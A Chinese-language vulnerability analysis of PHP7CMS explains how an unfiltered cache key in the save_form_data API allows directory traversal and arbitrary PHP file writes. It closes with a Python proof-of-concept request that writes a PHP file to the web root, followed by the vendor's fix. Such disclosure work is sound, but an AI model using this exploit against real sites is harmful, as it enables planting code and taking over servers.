Version:2018-10-09
//最新版中以修复此漏洞
这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。
01
02
03
04
05
06
07
08
09
10
11
12
|
// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public
function
save_form_data() {
$rt
= \Phpcmf\Service::L(
'cache'
)->init(
'file'
)->save(
\Phpcmf\Service::L(
'Input'
)->get(
'name'
),
\Phpcmf\Service::L(
'Input'
)->post(
'data'
),
7200
);
var_dump(
$rt
);
exit
;
}
|
调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。
01
02
03
04
05
06
07
08
09
10
11
12
|
// php7cms/Fcms/Library/Cache.php
// 112~121 line
public
function
init(
$handler
=
''
,
$prefix
=
'site-'
.SITE_ID.
'-'
) {
$config
=
new
\Config\Cache();
$config
->handler =
'file'
;
$config
->prefix =
$prefix
;
!
$config
->prefix &&
$config
->prefix =
'site-'
.SITE_ID.
'-'
;
$config
->path = WRITEPATH.
'caching/'
;
$cache
= \Config\Services::cache(
$config
, 0);
return
$cache
;
}
|
初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。
直接看最后一步
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
// php7cms/System/Cache/Handlers
// 107~125 line
public
function
save(string
$key
,
$value
, int
$ttl
= 60)
{
$key
=
$this
->prefix .
$key
;
$contents
= [
'time'
=> time(),
'ttl'
=>
$ttl
,
'data'
=>
$value
,
];
if
(
$this
->writeFile(
$this
->path .
$key
, serialize(
$contents
)))
{
chmod
(
$this
->path .
$key
, 0640);
return
true;
}
return
false;
}
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
//324~345 line
protected
function
writeFile(
$path
,
$data
,
$mode
=
'wb'
)
{
if
((
$fp
= @
fopen
(
$path
,
$mode
)) === false)
{
return
false;
}
flock
(
$fp
, LOCK_EX);
for
(
$result
=
$written
= 0,
$length
=
strlen
(
$data
);
$written
<
$length
;
$written
+=
$result
)
{
if
((
$result
= fwrite(
$fp
,
substr
(
$data
,
$written
))) === false)
{
break
;
}
}
flock
(
$fp
, LOCK_UN);
fclose(
$fp
);
return
is_int
(
$result
);
}
|
直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。
POC:
1
2
3
4
5
|
from requests import post
postData = {
'data'
:
'<?php phpinfo()?>'
}
postTest = post(
"http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php"
,data=postData)
|
新版修复:
首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。